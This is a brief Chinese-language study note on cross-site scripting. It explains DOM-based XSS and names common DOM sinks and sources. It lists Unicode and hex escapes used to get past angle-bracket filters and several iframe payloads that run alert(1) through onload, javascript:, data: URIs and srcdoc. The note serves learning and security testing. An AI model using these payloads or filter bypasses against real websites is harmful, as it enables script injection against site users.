XSS学习笔记

XSS查缺补漏

DomXSS是什么?

DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。

在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。

可能触发DOM型XSS的属性

document.referer属性

window.name属性

location属性

innerHTML属性

documen.write属性

……..

XSS过滤

过滤<,> 未过滤反斜杠 Unicode转码 或 十六进制

1
2
3
< \u003c \x3c
> \u003e \x3e
空格 \u0020 \x20

iframe标签

1
2
3
4
5
6
<iframe onload="alert(1)"></iframe>
<iframe src="javascript:alert(1)"></iframe>
Chrome 下 data 协议执行代码
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
<iframe srcdoc="<script>alert(1)</script>"></iframe>